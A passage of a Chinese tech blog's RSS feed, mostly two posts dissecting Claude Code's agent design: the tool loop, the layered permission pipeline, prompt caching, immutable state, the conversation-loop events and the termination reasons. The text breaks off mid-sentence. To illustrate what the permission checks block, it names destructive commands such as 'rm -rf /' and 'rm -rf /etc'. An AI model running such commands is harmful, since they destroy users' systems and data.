原表捞数据）或者记录上一页最后一条的主键来进行范围查询。</li></ul>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/408/">408</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/sql/">sql</category>
      
      
      <comments>https://blog.tokenlen.top/2026/04/16/message/base/sql/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title></title>
      <link>https://blog.tokenlen.top/2026/04/11/message/new/hermes/</link>
      <guid>https://blog.tokenlen.top/2026/04/11/message/new/hermes/</guid>
      <pubDate>Sat, 11 Apr 2026 13:57:11 GMT</pubDate>
      
      
      
      
      
      
      <comments>https://blog.tokenlen.top/2026/04/11/message/new/hermes/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Claude Code 解析-核心设计</title>
      <link>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code1/</link>
      <guid>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code1/</guid>
      <pubDate>Sat, 28 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;Claude code设计&lt;/h1&gt;
&lt;h2 id=&quot;背景&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;claude code具体是干什么的就不用跟大家说了：&lt;/p&gt;
&lt;p&gt;那我们从工程的角度去拆解他：&lt;/p&gt;
&lt;p&gt;其产品本质可以理解为：&lt;/p&gt;
&lt;p&gt;CLI/TUI</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>Claude code设计</h1><h2 id="背景">背景</h2><p>claude code具体是干什么的就不用跟大家说了：</p><p>那我们从工程的角度去拆解他：</p><p>其产品本质可以理解为：</p><p>CLI/TUI 外壳</p><p>-&gt; 输入编译器</p><p>-&gt; 多轮 Agent Loop</p><p>-&gt; 模型调用适配层</p><p>-&gt; 工具执行器</p><p>-&gt; Hook/Permission</p><p>-&gt; Session/Transcript/Plan/FileHistory</p><h3 id="设计进化">设计进化</h3><p>我们从chatbot到真正的agent就是有了工具调用！</p><p>但是工具调用又会带来一些问题：</p><ol><li><strong>工具注册与发现</strong>：谁来管理工具的注册表？如何让模型知道有哪些工具可用？如何在不重启系统的情况下动态添加新工具？</li><li><strong>参数校验</strong>：谁来校验工具调用的参数？模型可能传递错误类型的参数、缺少必填字段、或传入超出范围的值。校验逻辑放在哪一层？</li><li><strong>权限管控</strong>：谁来决定某个工具调用是否应该被执行？模型可能要求执行 <code>rm -rf /</code>，这显然不应该被允许。但有些操作在特定上下文中是安全的——如何平衡安全性与效率？</li><li><strong>错误恢复</strong>：工具执行可能失败，API 调用可能超时，LLM 的输出可能不符合预期格式。每一种错误场景都需要有对应的恢复策略，否则 Agent 会陷入&quot;出错-重试-再出错&quot;的死循环。</li><li><strong>状态一致性</strong>：多个工具调用可能操作同一份资源。如何在多轮调用之间维护状态一致性？如何避免&quot;读到过期数据&quot;的问题？</li><li><strong>并发与调度</strong>：某些工具调用可以并行执行（如同时读取多个文件），某些必须串行（如先创建目录再写文件）。如何智能地调度这些调用以最大化效率？</li></ol><p>这样就引出了我们的Agent Harness的封装</p><p><strong>简单封装的思路</strong> 是：调用 LLM API，解析输出中的工具调用指令，执行工具，把结果拼回 Prompt，再次调用 LLM API。这是一个典型的 while 循环。</p><p>这种思路的问题在于它假设了一个理想化的世界：API 调用不会超时，模型输出永远格式正确，用户不需要实时看到进度，上下文窗口是无限的，所有操作都是安全的。但在真实的生产环境中，每一个假设都会被打破。</p><hr><p><strong>Agent Harness 的思路</strong> 则需要考虑以下问题：</p><ol><li><strong>流式输出</strong>：LLM 的响应是流式的，用户需要实时看到 Agent 的思考过程，而不是等待整个响应完成。如何在不阻塞主线程的情况下实现增量渲染？如果使用回调，会导致&quot;回调地狱&quot;；如果使用 Promise 链，会失去中途取消的能力；如果使用事件发射器，会增加内存管理的复杂度。</li><li><strong>权限管控</strong>：LLM 可能要求执行 <code>rm -rf /</code>，这显然不应该被允许。权限系统应该在哪一层介入？如果在外层统一拦截，无法处理工具特定的权限逻辑（如 Bash 命令的风险评估）；如果在每个工具内部检查，会导致重复代码和权限策略不一致。如何平衡安全性与效率？</li><li><strong>上下文管理</strong>：随着对话的进行，上下文窗口会被填满。何时触发上下文压缩？压缩策略如何保证不丢失关键信息？压缩后的上下文如何与缓存系统协同？错误的压缩策略可能导致 Agent &quot;忘记&quot;关键信息，从而做出错误的决策。</li><li><strong>错误恢复</strong>：工具执行可能失败，API 调用可能超时，LLM 的输出可能不符合预期格式。每一种错误场景都需要有对应的恢复策略。没有统一的错误恢复框架，每种错误都需要单独处理，代码会迅速膨胀到不可维护的程度。</li><li><strong>状态持久化</strong>：用户中断会话后如何恢复？多个子智能体如何共享状态？状态更新如何保证不可变性？如果状态管理混乱，Agent 可能在恢复后产生不一致的行为。</li><li><strong>可扩展性</strong>：如何让第三方开发者安全地注册新工具？如何支持 MCP（Model Context Protocol）等外部协议？如果没有清晰的扩展接口，Agent 的能力将永远受限于原始开发者的想象力。</li></ol><hr><h2 id="基本设计">基本设计</h2><p>claude code的迭代循环：</p><ol><li>构建 API 请求（系统 Prompt + 消息历史 + 工具定义）</li><li>调用 LLM API 并流式接收响应</li><li>解析响应中的工具调用指令</li><li>通过权限管线校验每个工具调用</li><li>执行被允许的工具调用</li><li>将工具结果作为新消息注入历史</li><li>决定是否继续循环（如果 LLM 返回了新的工具调用）或终止（如果 LLM 返回了纯文本回复）</li></ol><p>状态管理：</p><p>跨迭代状态被封装在一个不可变的 State 对象中，每次迭代时通过整体替换而非逐字段修改。这种不可变状态流转的模式使得状态的每次变化都是可追溯的。</p><p>工具管理基石：</p><p>工具类型模块定义了 Claude Code 中所有工具必须遵循的类型契约。这是一个典型的&quot;接口即架构&quot;的案例——通过定义清晰的类型接口，工具系统的架构约束被编译器强制执行。</p><p>这个类型定义中蕴含了丰富的架构决策：</p><ul><li>工具的执行方法接收权限检查回调，意味着权限检查被内嵌到了工具执行流程中，而非外部拦截。</li><li>进度回调支持工具执行过程的增量进度报告，这是流式 UI 的基础。</li><li>并发安全声明标记工具是否可以并行执行，这影响调度策略。</li><li>中断行为定义用户中断时的行为（取消还是阻塞），这是用户体验的关键细节。</li><li>破坏性标记标识工具是否执行不可逆操作，这是权限系统的重要输入。</li></ul><p>工具注册：</p><p>工具注册模块中的核心函数返回所有可用工具的完整列表，是工具系统的&quot;单一事实来源&quot;（Single Source of Truth）。值得注意的设计细节：</p><ol><li><strong>条件注册</strong>：某些工具通过 Feature Flag 控制，如 REPL 工具只在内部版本中可用，定时任务工具只在特定功能模式下启用。这使得同一份代码可以服务于不同的产品形态。</li><li><strong>延迟加载</strong>：部分工具使用动态导入而非静态导入来避免循环依赖和减少启动时间。</li><li><strong>工具过滤</strong>：工具过滤函数在将工具列表发送给 LLM 之前，会根据权限上下文过滤掉被禁止的工具，确保模型甚至无法&quot;看到&quot;它不应该使用的工具。</li></ol><h2 id="Agent-Harness设计">Agent Harness设计</h2><p>异步流式优先</p><p>不可变状态流转</p><p>渐进式能力扩展</p><p>安全边界内嵌</p><p>缓存感知设计</p><p>是我们设计的Agent Harness的五大原则</p><h3 id="异步流式优先">异步流式优先</h3><p>传统的 LLM 调用通常采用请求-响应模式：发送 Prompt，等待完整响应，处理结果。但 Agent 的交互模式是根本不同的——Agent 可能在一个用户请求中执行多轮工具调用，每一轮都可能产生需要实时展示给用户的中间状态（思考过程、工具调用计划、执行进度）。</p><p><code>AsyncGenerator</code> 完美地匹配了这个需求：</p><ul><li><strong>增量输出</strong>：通过 <code>yield</code> 逐步产出流式事件，上层代码可以实时渲染。</li><li><strong>可中断性</strong>：调用者可以随时通过 <code>generator.return()</code> 或 <code>generator.throw()</code> 终止生成器。</li><li><strong>背压控制</strong>：如果消费者处理速度跟不上生产速度，生成器会自动暂停，避免内存溢出。</li></ul><p>这种设计使得 Claude Code 的对话循环成为一个&quot;事件流&quot;而非&quot;请求-响应对&quot;。上层代码只需要一个 <code>for await...of</code> 循环就可以消费整个对话过程的所有事件。</p><p>AsyncGenerator 是唯一同时满足&quot;流式输出&quot;、&quot;可取消&quot;和&quot;类型安全&quot;三个需求的方案。</p><h3 id="安全边界内嵌">安全边界内嵌</h3><p>Claude Code 的权限系统不是一个附加的安全层，而是被内嵌到了架构的核心管线中。工具调用从被 LLM 提出到最终执行，需要经过多个安全检查点：</p><ol><li><strong>工具可见性过滤</strong>：在将工具列表发送给 LLM 之前，根据权限规则过滤掉被禁止的工具。模型甚至无法&quot;看到&quot;它不应该使用的工具。</li><li><strong>输入校验</strong>：工具的 <code>validateInput</code> 方法在权限检查之前执行，拒绝格式不合法的参数。</li><li><strong>权限决策</strong>：<code>canUseTool</code> 回调综合考量权限模式（默认/Auto/Bypass）、工具的危险等级、用户的历史决策等因素，做出允许/拒绝/询问的决策。</li><li><strong>运行时防护</strong>：即使通过了上述检查，工具执行过程中仍有沙箱限制、超时控制、输出大小限制等防护措施。</li></ol><p>这个四阶段管线的设计哲学是&quot;纵深防御&quot;（Defense in Depth）——没有单一的安全检查点是&quot;银弹&quot;，但每一层都可以独立短路，阻止不安全的操作。</p><p><strong>为什么不使用简单的白名单？</strong> 白名单方案看似简单，但存在致命缺陷：它假设所有操作都可以事先分类为&quot;安全&quot;或&quot;不安全&quot;。但现实中，安全性是上下文相关的——<code>rm -rf node_modules</code> 在开发环境中是安全的，但 <code>rm -rf /etc</code> 是危险的。同一个 Bash 工具、同一个命令模式，在不同参数下的风险等级完全不同。四阶段管线允许每一层根据上下文做出更精细的判断。</p><h3 id="缓存感知设计">缓存感知设计</h3><p>在 LLM 的 API 计价模型中，Prompt 缓存（Prompt Caching）可以显著降低成本和延迟。Claude Code 的架构从多个层面考虑了缓存友好性：</p><ul><li><strong>系统 Prompt 稳定性</strong>：系统 Prompt 的构建方式被精心设计，确保在工具列表不变的情况下，Prompt 的字节内容保持一致，从而命中 API 侧的 Prompt 缓存。</li><li><strong>子智能体的缓存共享</strong>：Fork 模式下的子智能体会继承父智能体的 <code>renderedSystemPrompt</code>，避免重新生成可能因配置变化而不同的 Prompt，保证缓存命中率。</li><li><strong>消息历史的不可变性</strong>：已发送给 API 的消息不会被修改，只有追加新消息的操作，这保证了缓存键的稳定性。</li></ul><p>缓存感知设计的影响是深远的：它不仅降低了 API 成本，还通过减少重复计算提高了响应速度，这对于需要频繁与 LLM 交互的 Agent 系统尤为关键。</p><p><strong>如果不这样设计会怎样？</strong> 一个不关心缓存的 Agent 系统可能在每次 API 调用时都重新构建系统 Prompt，导致：(1) 每次 API 调用都需要处理完整的 Prompt，增加延迟和成本；(2) 微小的配置变化（如工具列表的排序变化）可能导致缓存全面失效；(3) 在子智能体场景下，父子智能体之间无法共享已缓存的 Prompt，导致重复计算。对于每天执行数百次 API 调用的生产级 Agent，这些浪费会迅速累积成可观的成本。</p><h3 id="渐进式能力扩展">渐进式能力扩展</h3><p>Claude Code 提供了四级扩展模型，从内建到外部、从简单到复杂：</p><table><thead><tr><th style="text-align:left">扩展级别</th><th style="text-align:left">机制</th><th style="text-align:left">适用场景</th><th style="text-align:left">扩展者角色</th></tr></thead><tbody><tr><td style="text-align:left"><strong>工具（Tool）</strong></td><td style="text-align:left">实现 <code>Tool</code> 类型接口</td><td style="text-align:left">添加新的原子操作能力</td><td style="text-align:left">核心开发者</td></tr><tr><td style="text-align:left"><strong>技能（Skill）</strong></td><td style="text-align:left">Markdown + 脚本的声明式工具</td><td style="text-align:left">封装可复用的任务模板</td><td style="text-align:left">高级用户</td></tr><tr><td style="text-align:left"><strong>插件（Plugin）</strong></td><td style="text-align:left">带生命周期的工具包</td><td style="text-align:left">组织相关工具和配置</td><td style="text-align:left">生态开发者</td></tr><tr><td style="text-align:left"><strong>MCP 服务器</strong></td><td style="text-align:left">标准化协议的外部工具集成</td><td style="text-align:left">第三方工具生态</td><td style="text-align:left">第三方开发者</td></tr></tbody></table><p>这四级扩展模型的设计哲学是&quot;渐进增强&quot;：对于简单的需求，声明一个 Skill 就够了；对于复杂的集成，可以通过 MCP 协议连接外部服务。每一级都建立在前一级的基础之上，而非替代它。</p><p>特别值得关注的是 MCP（Model Context Protocol）的集成方式。Claude Code 不是一个封闭系统——它通过 MCP 协议可以动态发现和调用外部工具服务器提供的工具，这使得 Agent 的能力边界不是由开发者预设的，而是可以在运行时动态扩展的。</p><p><strong>如果不采用渐进式扩展会怎样？</strong> 两种极端都不可取。如果只有&quot;工具&quot;一级扩展，第三方开发者必须修改核心代码才能添加新能力，这会严重限制生态系统的生长。如果只提供 MCP 一级扩展，简单的自定义需求也需要搭建一个完整的工具服务器，门槛过高。渐进式扩展让每一类贡献者都能在最适合自己的抽象层次上工作。</p><h3 id="不可变状态流转">不可变状态流转</h3><p>Claude Code 的状态管理借鉴了 Redux/Zustand 的不可变状态模式。核心状态存储由一个极简的 store 实现完成。这个实现虽然简洁，但蕴含了重要的设计决策：</p><ul><li><strong>Updater 函数模式</strong>：状态更新接收一个 <code>(prev: T) =&gt; T</code> 函数，而非新状态值本身。这确保了状态的每次更新都基于前一个状态，避免了竞态条件。</li><li><strong>引用相等性检查</strong>：通过引用比较确保只有真正发生变化时才触发通知，避免不必要的重渲染。</li><li><strong>订阅/取消订阅模式</strong>：监听器通过集合管理，返回清理函数，防止内存泄漏。</li></ul><p>在对话循环层面，不可变性同样被严格遵守：跨迭代状态通过整体替换的方式更新，每次迭代开始时从状态对象解构出需要的字段，确保读操作使用的是不可变快照。</p><p>不可变状态流转的好处是多方面的：状态变化可预测、可追溯、可调试；在子智能体场景下，父智能体可以安全地将状态快照传递给子智能体而不担心被意外修改；在推测执行（Speculation）场景下，状态回滚变得简单而安全。</p><p><strong>如果不这样设计会怎样？</strong> 如果使用可变状态（直接修改对象的字段），在并发场景下会出现经典的竞态条件：工具 A 的执行修改了状态，但工具 B 在读取状态时看到的是修改了一半的不一致数据。在子智能体场景下更危险——子智能体可能意外修改父智能体的状态，导致主循环的行为变得不可预测。这类 bug 极难复现和调试，因为它取决于异步操作的具体调度顺序。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Claude Code 核心解析</title>
      <link>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code2/</link>
      <guid>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code2/</guid>
      <pubDate>Sat, 28 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;对话循环&lt;/h1&gt;
&lt;h2 id=&quot;异步生成器&quot;&gt;异步生成器&lt;/h2&gt;
&lt;p&gt;Claude Code 的对话主循环是一个以 &lt;code&gt;async function*&lt;/code&gt;</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>对话循环</h1><h2 id="异步生成器">异步生成器</h2><p>Claude Code 的对话主循环是一个以 <code>async function*</code> 定义的异步生成器。它不是一次性执行完毕的普通函数，而是一个可暂停、可恢复、可取消的&quot;活&quot;的流程。每一次 <code>yield</code> 就像心跳的一次搏动，将流式事件推向调用方。</p><p>这个设计选择值得用更多篇幅来理解。在传统的编程模型中，函数调用是同步的：调用者发起请求，被调用者执行计算，返回结果。但 Agent 的交互模式打破了这种同步假设——模型可能需要几十秒才能完成一次响应，而且响应是逐 token 到达的；工具执行可能耗时数分钟，期间需要实时反馈进度；用户可能随时中断操作，要求立即停止。</p><p>面对这些需求，传统的函数调用模型力不从心。异步生成器提供了完美的答案：它像一个可以随时暂停和恢复的&quot;协程&quot;，在&quot;生产者&quot;（对话循环）和&quot;消费者&quot;（UI 渲染层）之间建立了一条实时的事件管道。</p><hr><p>整个对话循环的入口是一个导出的异步生成器函数，它接受一个参数对象，可向外产出五种类型的事件（流式事件、请求开始事件、消息、墓碑消息、工具调用摘要），最终返回一个表示对话终结状态的对象。</p><p>这个函数签名蕴含了三层设计决策：</p><ol><li><strong>Yield 类型联合体（Union of yielded types）</strong>：生成器可向外产出五种类型的事件——流式 token 到达事件、API 请求开始事件、用户/助手/系统消息、标记已废弃消息的墓碑消息、工具调用摘要消息。这五种事件覆盖了对话过程中所有需要传递给 UI 层的信息。使用联合类型而非多个独立的生成器，确保了事件的时序一致性——UI 看到的事件顺序与产生顺序完全一致。</li><li><strong>返回类型 Terminal</strong>：生成器最终返回一个终结状态对象，表示对话的终结原因。调用方通过 <code>for await (... of query(...))</code> 消费事件流，当循环自然结束时，生成器的 <code>return</code> 值即为终止原因。这种&quot;yield 过程、return 结论&quot;的模式使得上层代码可以清晰地分离&quot;过程中的处理&quot;和&quot;结束后的收尾&quot;。</li><li><strong>参数对象</strong>：将所有入参封装在一个结构化对象中，而非散列参数，使得调用方可以按需提供字段。关键字段包括消息历史、系统提示词、权限检查函数、工具执行上下文、最大循环次数等。</li></ol><p>为什么选择 AsyncGenerator 而非回调或 Promise？因为生成器天然适配&quot;流式生产-流式消费&quot;的模型。模型的响应是逐 token 到达的，工具的执行结果是逐步产出的，生成器的 <code>yield</code> 机制让每一层都可以做到&quot;有数据就推送，没数据就等待&quot;，而不需要回调地狱或 Promise 链。</p><blockquote><p><strong>设计哲学对比：</strong> 如果使用回调模式，你需要为每种事件类型注册独立的回调函数，代码会变成分散在各处的回调处理逻辑。如果使用 Promise 链，虽然避免了回调地狱，但 Promise 是&quot;一次性的&quot;——它只能 resolve 一次，无法表达持续的事件流。如果使用 RxJS Observable，虽然功能强大，但引入了沉重的依赖和陡峭的学习曲线。AsyncGenerator 是&quot;刚刚好&quot;的方案——原生语言支持、零额外依赖、类型安全、天然支持流式和取消。</p></blockquote><p>对话循环中流转的事件可分为以下几类，它们共同构成了对话过程的&quot;心跳信号&quot;：</p><ul><li><strong>stream_request_start</strong>：每次 API 请求开始前发出，告知 UI 层一个新请求即将发起。在循环的每次迭代开头都会发出此事件。这个事件的实用价值在于 UI 可以展示&quot;正在思考…&quot;的状态指示器。</li><li><strong>StreamEvent</strong>：来自 Anthropic API 的原始流式事件，包括文本块增量（<code>content_block_delta</code>）、thinking 块、tool_use 块等。这些事件直接从 API 响应流透传给 UI。想象你在看一场直播——StreamEvent 就是视频流中的每一帧画面，UI 层负责将这些画面拼接成流畅的视频。</li><li><strong>Message</strong>：结构化的消息对象，包括 <code>AssistantMessage</code>（助手回复，可能包含 tool_use 块）、<code>UserMessage</code>（用户输入或 tool_result）、<code>SystemMessage</code>（系统通知）等。与 StreamEvent 不同，Message 是经过解析和结构化的——相当于直播结束后的回放，画面已被编辑和组织。</li><li><strong>TombstoneMessage</strong>：当流式回退（streaming fallback）发生时，部分已产出的消息需要被标记为废弃。墓碑消息告诉 UI 移除对应的历史消息。这个名字来自程序员熟知的&quot;墓碑标记&quot;模式——就像墓碑标记了一个生命的终结，TombstoneMessage 标记了一条消息的&quot;失效&quot;。</li><li><strong>ToolUseSummaryMessage</strong>：在一批工具执行完成后，异步生成的简要摘要，用于在 UI 中折叠展示工具调用结果。这对于长时间的 Agent 会话尤为重要——如果没有摘要，几十次工具调用的完整输出会淹没整个屏幕。</li></ul><hr><p>消息体系：</p><ul><li><strong>UserMessage</strong>：用户的输入消息，也承载工具执行结果（tool_result）。在 API 的视角里，工具结果总是以 user 角色发送。这个设计可能看起来违反直觉——为什么工具结果是&quot;user&quot;角色？原因是 API 协议层面只有三种角色（system/user/assistant），工具结果需要被模型&quot;看到&quot;，所以必须以 user 角色发送。这是一个工程约束驱动设计决策的典型案例。</li><li><strong>AssistantMessage</strong>：模型返回的消息，可能包含文本块和 tool_use 块。当模型检测到需要调用工具时，响应中会包含 <code>type: 'tool_use'</code> 的内容块。AssistantMessage 的关键特性是它可能同时包含文本和工具调用——模型可能先输出一段解释（“我需要查看你的文件”），然后附加一个工具调用。这种&quot;边说边做&quot;的模式让 Agent 的行为更加透明。</li><li><strong>SystemMessage</strong>：系统级通知，如权限变更、模型回退提示等。不参与 API 通信，仅在 UI 展示。SystemMessage 是&quot;第四面墙&quot;——它不参与模型对话，但告诉用户系统内部正在发生什么。</li><li><strong>AttachmentMessage</strong>：附件消息，承载文件变更通知、内存文件（<a href="http://CLAUDE.md">CLAUDE.md</a>）内容、任务通知等附加信息。</li><li><strong>ProgressMessage</strong>：工具执行的进度消息，用于实时反馈工具运行状态（如 Bash 命令的输出流、文件读取进度等）。</li></ul><h2 id="完整的对话轮的拆解">完整的对话轮的拆解</h2><p>现在让我们跟随一个完整的 Turn——从用户按下回车键到模型完成响应或决定调用工具——理解 <code>queryLoop</code> 函数内部的完整流程。</p><p>用医学来类比，一个 Turn 就像一次完整的诊断过程：医生（模型）先查看病历（上下文预处理），然后与病人交流（API 调用），可能需要安排检查（工具调用），拿到检查结果后（工具执行）做出诊断（最终回复）。如果检查结果不足以确诊，医生会安排更多检查（下一轮循环）。</p><p>阶段1：</p><p><code>queryLoop</code> 是一个 <code>while(true)</code> 无限循环。每次迭代代表一次&quot;模型调用 + 工具执行&quot;的完整回合。在循环顶部，函数从状态对象中解构出当前迭代所需的变量，包括工具使用上下文、消息列表、自动压缩追踪、恢复计数器等。</p><p>状态对象是一个可变状态容器，包含跨迭代传递的全部状态：消息列表、工具上下文、自动压缩追踪、恢复计数器、turn 计数等。每次 <code>continue</code> 回到循环顶部时，都会写入一个新的状态对象。</p><p>这个设计的关键洞察是：<strong>状态在&quot;读&quot;和&quot;写&quot;之间有明确的分界线。</strong> 在每次迭代的开始，函数通过解构一次性读取所有需要的状态字段（快照语义）；在迭代结束时，通过构造新对象一次性写入更新后的状态（原子更新语义）。这避免了在迭代过程中部分更新导致的不一致问题。</p><p>阶段2：</p><p>在调用模型之前，循环执行一系列预处理步骤。这些步骤构成了一个精心设计的&quot;压缩管线&quot;，目的是在有限的上下文窗口中保留最有价值的信息：</p><ol><li><strong>工具结果预算</strong>：对过大的工具结果进行截断或持久化到磁盘，确保不超过上下文窗口限制。这类似于计算机科学中的&quot;分页&quot;机制——当数据太大无法全部放入内存（上下文窗口）时，将部分数据存储到磁盘，只保留摘要或引用。</li><li><strong>Snip 压缩</strong>：如果启用了历史裁剪功能，会对过长的历史消息进行裁剪。Snip 是最&quot;粗暴&quot;的压缩方式——直接截断消息内容。它通常用于处理工具返回的超长输出（如大型文件的完整内容）。</li><li><strong>Microcompact</strong>：在自动压缩之前进行轻量级压缩，利用缓存编辑技术减少 token 消耗。Microcompact 的精妙之处在于它是&quot;缓存友好&quot;的——它尽量复用 API 侧已缓存的 token，避免因压缩导致缓存全面失效。</li><li><strong>Context Collapse</strong>：上下文折叠是一种更细粒度的压缩策略，它在不丢失信息的情况下将连续消息折叠为紧凑视图。可以把 Context Collapse 想象为将一段对话中的&quot;你好&quot;、“好的”、&quot;我明白了&quot;这类确认性消息折叠为一行——信息不丢，但占用的空间更少。</li><li><strong>系统提示组装</strong>：将基础系统提示与动态上下文（如当前工作目录、用户配置等）合并为完整的系统提示。这一步的设计直接影响了缓存命中率——如果组装顺序不稳定，每次调用生成的 Prompt 字节内容可能不同，导致缓存失效。</li><li><strong>Autocompact</strong>：如果上下文超过阈值，自动压缩机制会触发，将历史对话摘要为压缩后的消息，然后替换待发送的消息列表。Autocompact 是压缩管线的&quot;最后一道防线&quot;——当其他轻量级压缩手段都无法将上下文缩减到限制以内时，它会执行一次全量摘要。</li><li><strong>Token 阻断检查</strong>：如果 token 数超过硬性限制，直接返回错误消息，不再发起 API 调用。这是一个&quot;快速失败&quot;机制——与其发送一个注定会失败的 API 请求，不如在本地就阻止它。</li></ol><p><strong>最佳实践提示：</strong> 这七步管线的设计遵循了一个重要原则：<strong>压缩手段从轻量到重量排列，每一步都先尝试最小代价的方案。</strong> 这个原则在你自己构建 Agent 系统时也值得遵循——先用 Snip 裁剪过长内容，再用 Microcompact 减少缓存浪费，再用 Context Collapse 折叠冗余信息，最后才用 Autocompact 做全量摘要。因为每一步都会丢失一些信息，应该尽量延迟最&quot;激进&quot;的压缩手段的使用。</p><p>阶段3：</p><p>所有预处理完成后，进入核心的 API 调用阶段。这里使用注入的模型调用依赖发起流式请求，将组装好的消息列表、系统提示和工具定义传递给模型 API。模型调用函数返回一个异步生成器，逐个产出流式事件。每次收到事件，循环执行以下逻辑：</p><ul><li>如果事件包含 assistant 消息，将其加入助手消息数组。</li><li>如果事件包含工具调用块，将其收集起来，并标记需要后续工具执行。</li><li>如果启用了流式工具执行，在收到工具调用块时立即开始执行工具，而不必等待整个响应完成。</li></ul><p>这个阶段的一个微妙之处在于：模型可能在一个响应中同时包含文本内容和工具调用。例如，模型可能先输出&quot;我来看看你的 package.json 文件&quot;，然后附加一个 Read 工具调用。循环需要正确处理这种混合输出——既要 yield 文本事件让 UI 渲染，又要收集工具调用块为后续执行做准备。</p><p>阶段4：</p><p>当流式响应结束后，循环检查是否需要执行工具。如果模型没有请求调用工具，进入终止路径，检查各种退出条件（stop hooks、token budget 等）后返回。</p><p>如果模型请求了工具调用，循环执行工具：根据是否启用了流式执行，选择从流式执行器获取剩余结果，或使用传统的批量执行函数。</p><p>工具执行同样是一个异步生成器。每产出一个结果消息，循环就将其 yield 给上层消费者（UI），同时收集到工具结果数组中。</p><p>这个设计体现了一个重要的工程原则：<strong>&quot;结果收集&quot;和&quot;结果传递&quot;是解耦的。</strong> 工具结果既被收集到数组中用于下一轮 API 调用，又被 yield 给 UI 用于实时展示。这两个关注点通过同一个 yield 操作同时完成，避免了额外的状态同步逻辑。</p><p>阶段5：</p><p>工具执行完毕后，循环执行附件注入（内存文件、文件变更通知、排队命令等），然后将所有消息（原始消息 + 助手消息 + 工具结果）打包为新的状态对象，通过 <code>continue</code> 回到 <code>while(true)</code> 的顶部。</p><p>下一轮迭代将使用这个扩展后的消息列表重新调用模型，模型将看到之前的工具结果，然后决定是继续调用工具还是给出最终回复。</p><p>附件注入是一个容易忽视但非常重要的步骤。想象这样一个场景：在工具执行期间，用户修改了 <a href="http://CLAUDE.md">CLAUDE.md</a> 文件。如果不注入这个变更，模型在下一轮调用中可能基于过时的配置做出决策。附件注入确保了每一轮循环开始时，模型都拥有最新的环境信息。</p><p>对话循环的终止发生在多个位置，每个终止原因对应不同的系统状态和清理逻辑：</p><table><thead><tr><th style="text-align:left">终止原因</th><th style="text-align:left">触发条件</th><th style="text-align:left">用户体验</th><th style="text-align:left">设计意图</th></tr></thead><tbody><tr><td style="text-align:left"><code>completed</code></td><td style="text-align:left">模型正常回复且无工具调用</td><td style="text-align:left">Agent 给出最终回复</td><td style="text-align:left">正常的&quot;成功完成&quot;路径</td></tr><tr><td style="text-align:left"><code>aborted_streaming</code></td><td style="text-align:left">用户中断（Ctrl+C）</td><td style="text-align:left">操作立即停止</td><td style="text-align:left">用户主动中断，需要即时响应</td></tr><tr><td style="text-align:left"><code>aborted_tools</code></td><td style="text-align:left">工具执行期间中断</td><td style="text-align:left">当前工具被取消，结果丢弃</td><td style="text-align:left">工具执行可能耗时较长，需要中断支持</td></tr><tr><td style="text-align:left"><code>max_turns</code></td><td style="text-align:left">达到最大循环次数</td><td style="text-align:left">Agent 停止并说明原因</td><td style="text-align:left">防止无限循环消耗 token</td></tr><tr><td style="text-align:left"><code>blocking_limit</code></td><td style="text-align:left">Token 数超过硬性限制</td><td style="text-align:left">Agent 报错退出</td><td style="text-align:left">硬性安全边界，防止 API 错误</td></tr><tr><td style="text-align:left"><code>prompt_too_long</code></td><td style="text-align:left">上下文过长且恢复失败</td><td style="text-align:left">Agent 报错退出</td><td style="text-align:left">所有压缩手段已用尽</td></tr><tr><td style="text-align:left"><code>model_error</code></td><td style="text-align:left">API 调用异常</td><td style="text-align:left">Agent 报错并展示错误信息</td><td style="text-align:left">网络或服务端问题的优雅降级</td></tr><tr><td style="text-align:left"><code>stop_hook_prevented</code></td><td style="text-align:left">Stop hook 阻止继续</td><td style="text-align:left">Agent 停止并说明原因</td><td style="text-align:left">用户配置的自动停止条件</td></tr><tr><td style="text-align:left"><code>hook_stopped</code></td><td style="text-align:left">工具 hook 阻止继续</td><td style="text-align:left">Agent 停止并说明原因</td><td style="text-align:left">外部 Hook 脚本的决定</td></tr><tr><td style="text-align:left"><code>image_error</code></td><td style="text-align:left">图片尺寸/格式错误</td><td style="text-align:left">Agent 报错退出</td><td style="text-align:left">输入数据格式问题</td></tr></tbody></table><ul><li><strong>正常终止</strong>：<code>completed</code>——Agent 完成了任务</li><li><strong>用户主动终止</strong>：<code>aborted_streaming</code>、<code>aborted_tools</code>——用户决定停止</li><li><strong>异常终止</strong>：其余七种——系统遇到了无法继续的情况</li></ul><p>对于异常终止，系统在返回终止状态之前会执行清理逻辑：取消正在执行的工具、释放资源引用、记录终止原因到日志。这些清理逻辑确保了即使 Agent 异常退出，也不会留下&quot;脏&quot;的状态。</p><h2 id="状态轮转">状态轮转</h2><p>对话循环的核心状态机由两个概念驱动：可变循环状态（State）和终止信号（Terminal）。</p><p>State 类型定义了循环的完整可变状态，包含消息列表、工具使用上下文、自动压缩追踪状态、输出 token 恢复计数器、是否已尝试响应式压缩、输出 token 覆盖限制、待处理的工具摘要、stop hook 是否激活、turn 计数，以及上一次继续循环的原因。每次 <code>continue</code> 回到循环顶部时，都会构造一个全新的状态对象。<code>transition</code> 字段记录了上一次 continue 的原因，用于在恢复逻辑中避免重复执行相同的恢复路径。</p><p>Terminal 和 Continue 类型定义在独立的模块中。Terminal 标记对话的终结（携带 reason 字段），而 Continue 标记继续循环的决策（携带 reason 和可选的附加信息）。</p><p>这个三元模型（State + Continue + Terminal）的精妙之处在于它用类型系统强制了循环的正确性：</p><ul><li>State 是&quot;可变但可控&quot;的数据容器，每次 continue 都创建新实例</li><li>Continue 